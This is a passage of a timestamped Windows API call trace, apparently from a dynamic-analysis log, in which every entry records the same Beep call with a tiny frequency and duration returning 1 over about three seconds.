[0094.371] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.372] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.388] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.403] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.404] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.405] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.421] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.436] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.452] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.453] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.454] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.470] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.485] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.501] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.502] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.503] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.518] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.534] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.550] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.551] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.552] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.576] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.583] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.599] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.600] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.601] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.602] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.603] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.604] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.605] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.606] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.607] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.609] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.624] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.640] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.655] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.656] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.657] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.658] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.659] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.660] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.661] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.663] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.664] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.665] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.681] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.696] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.724] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.725] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.726] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.727] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.730] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.733] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.734] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.736] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.752] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.767] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.784] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.785] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.786] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.787] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.788] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.789] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.790] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.791] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.792] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.793] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.794] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.797] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.810] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.826] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.842] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.843] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.843] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.844] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.845] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.847] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.847] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.849] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.849] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.850] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.858] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.867] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.883] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.898] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.914] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.916] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.917] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.918] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.919] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.920] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.921] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.922] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.923] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.925] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.940] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.955] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.971] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.972] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.973] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0094.988] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.004] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.019] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.020] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.021] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.037] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.053] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.054] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.055] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.070] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.086] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.102] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.102] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.103] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.119] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.135] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.136] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.137] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.152] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.168] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.184] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.185] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.185] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.201] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.217] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.232] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.233] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.234] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.257] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.265] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.266] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.267] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.283] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.299] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.314] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.316] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.332] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.348] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.364] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.365] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.381] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.396] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.412] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.413] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.414] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.430] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.445] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.447] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.463] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.478] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.494] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.495] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.496] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.512] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.527] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.529] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.530] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.531] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.532] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.533] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.534] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.536] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.537] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.553] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.568] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.584] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.585] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.587] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.602] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.617] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.633] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.634] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.635] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.650] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.666] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.682] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.682] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.683] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.699] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.715] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.716] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.732] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.748] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.749] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.750] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.751] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.752] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.753] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.754] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.755] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.756] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.757] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.758] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.774] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.789] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.805] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.806] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.807] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.822] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.838] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.859] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.871] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.887] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.888] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.889] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.890] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.891] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.892] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.893] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.894] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.895] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.896] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.912] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.928] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.944] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.945] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.947] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.947] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.948] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.950] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.950] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.952] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.953] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.969] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0095.985] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.000] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.001] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.002] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.018] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.034] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.034] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.035] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.036] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.038] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.038] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.039] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.041] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.042] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.042] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.043] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.059] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.075] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.090] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.091] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.092] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.108] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.124] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.139] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.140] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.142] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.157] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.172] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.189] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.190] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.206] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.221] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.237] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.238] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.239] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.240] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.245] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.248] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.250] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.265] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.281] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.297] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.312] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.313] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.315] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.330] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.345] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.361] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.362] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.379] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.394] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.410] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.411] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.412] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.427] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.443] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.459] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.460] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.489] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.492] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.507] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.523] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.539] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.539] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.541] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.556] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.572] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.573] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.575] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.576] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.577] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.578] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.580] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.582] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.598] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.613] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.629] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.630] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.630] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.631] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.632] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.633] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.635] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.635] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.636] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.638] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.639] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.654] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.670] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.686] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.687] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.688] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.689] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.690] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.691] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.695] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.696] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.712] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.728] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.744] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.745] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.746] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.762] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.777] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.798] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.799] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.814] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.831] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.847] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.850] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.868] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.879] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.895] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.895] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.896] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.897] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.898] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.899] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.902] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.902] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.904] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.905] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.906] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.921] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.937] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.952] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.953] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.959] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.970] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0096.986] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.001] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.002] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.003] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.019] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.034] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.051] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.052] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.053] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.054] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.055] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.056] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.057] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.058] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.059] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.061] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.078] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.091] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.158] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.159] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.159] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.160] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.161] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.162] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.163] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.164] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.165] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.166] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.167] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.168] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.169] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.170] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.171] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.172] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.173] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.175] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.175] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.176] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.177] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.178] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.179] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.181] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.181] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.182] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.190] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.191] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.192] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.193] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.194] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.198] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.200] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.200] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.201] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.217] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.233] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.249] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.250] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.259] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.260] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.261] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.262] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.263] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.264] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.265] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.281] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.296] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.312] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.313] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.314] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.315] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.316] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.317] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.318] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.319] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.320] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.321] Beep 